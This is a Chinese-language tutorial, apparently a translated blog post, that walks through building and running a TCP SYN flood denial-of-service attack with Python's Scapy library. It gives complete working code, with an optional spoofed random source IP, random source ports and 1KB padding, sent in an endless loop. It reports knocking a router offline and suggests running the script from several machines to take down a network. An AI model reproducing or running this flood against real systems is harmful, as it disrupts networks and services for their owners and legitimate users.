本文带你了解如何使用 Python 中的 Scapy 库执行 TCP SYN Flooding 攻击,这是一种拒绝服务攻击形式,以及一些Python SYN泛洪攻击示例。
Python如何实现SYN泛洪攻击?SYN泛洪攻击是一种的一种常见形式的拒绝服务攻击,其中攻击者发送SYN请求到目标系统的一个序列(可以是路由器,防火墙,入侵防御系统(IPS),等),以消耗其资源,阻止合法客户端建立正常连接。
TCP SYN 泛洪利用 TCP 三向握手的第一部分,并且由于使用 TCP 协议的每个连接都需要它,因此这种攻击被证明是危险的,可以破坏多个网络组件。
为了理解SYN Flood,我们首先需要说一下TCP三向握手:
如何在Python中进行SYN泛洪攻击?当客户端想要通过 TCP 协议与服务器建立连接时,客户端和服务器会交换一系列消息:
- 客户端通过向服务器发送SYN消息来请求连接。
- 服务器以SYN-ACK消息响应(确认请求)。
- 客户端以ACK响应,然后开始连接。
SYN Flood 攻击涉及恶意用户重复发送 SYN 数据包而不响应 ACK,并且经常使用不同的源端口,这使得服务器不知道攻击,并从每个端口使用 SYN-ACK 数据包响应每次尝试(红色和上图的绿色部分)。这样,服务器将很快对合法客户端无响应。
相关教程: 如何使用 Scapy 在 Python 中构建 WiFi 扫描仪。
在本教程中,我们将使用Python 中的Scapy库实现 SYN 洪水攻击。首先,你需要安装 Scapy:
pip3 install scapy
打开一个新的 Python 文件并导入 Scapy:
from scapy.all import *
Python SYN泛洪攻击示例 - 我将在我的本地路由器上测试这个,它的私有 IP 地址为192.168.1.1:
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80
如果你想在路由器上尝试此操作,请确保你拥有正确的 IP 地址,你可以分别通过Windows 和 macOS/Linux 中的ipconfig
和ip route
命令获取默认网关地址。
目标端口是 HTTP,因为我想淹没路由器的 Web 界面。现在让我们伪造我们的 SYN 数据包,从 IP 层开始:
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
Python如何实现SYN泛洪攻击?我们指定了dst
目标IP地址,我们也可以将src
地址设置为私有网络范围内的一个欺骗性随机IP地址(注释代码),它也可以正常工作。
让我们锻造我们的 TCP 层:
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
因此,我们将源端口 ( sport
) 设置为随机短(范围从1到65535,就像端口一样)和dport
(目标端口)作为我们的目标端口,在这种情况下,它是 HTTP 服务。
我们还设置了"S"
指示 SYN 类型的标志。
现在让我们添加一些洪泛的原始数据来占用网络:
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)
太棒了,现在让我们堆叠层并发送数据包,Python SYN泛洪攻击示例:
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)
所以我们使用了send()
在第 3 层发送数据包的函数,我们设置loop
为1以继续发送,直到我们按下 CTRL+C,设置verbose
为0将在此过程中不打印任何内容(静默)。
剧本写好了!现在,在我对路由器运行此命令后,花了几秒钟,果然,路由器停止工作,我失去了连接:
$ ping -t "192.168.1.1"
它是从攻击者以外的另一台机器捕获的,因此路由器不再响应。
为了让一切恢复正常,你可以停止攻击(通过按CTRL+C),如果设备仍然没有响应,请继续并重新启动它。
相关教程: 如何在 Python 中使用 Scapy 制作网络扫描仪。
Python如何实现SYN泛洪攻击?总结
好吧!我们完成了本教程,如果你尝试在本地计算机上运行脚本,你会注意到计算机变得忙碌并且延迟会显着增加。也可以在多个终端甚至其他机器上运行该脚本,看看能不能关闭本地计算机的网络!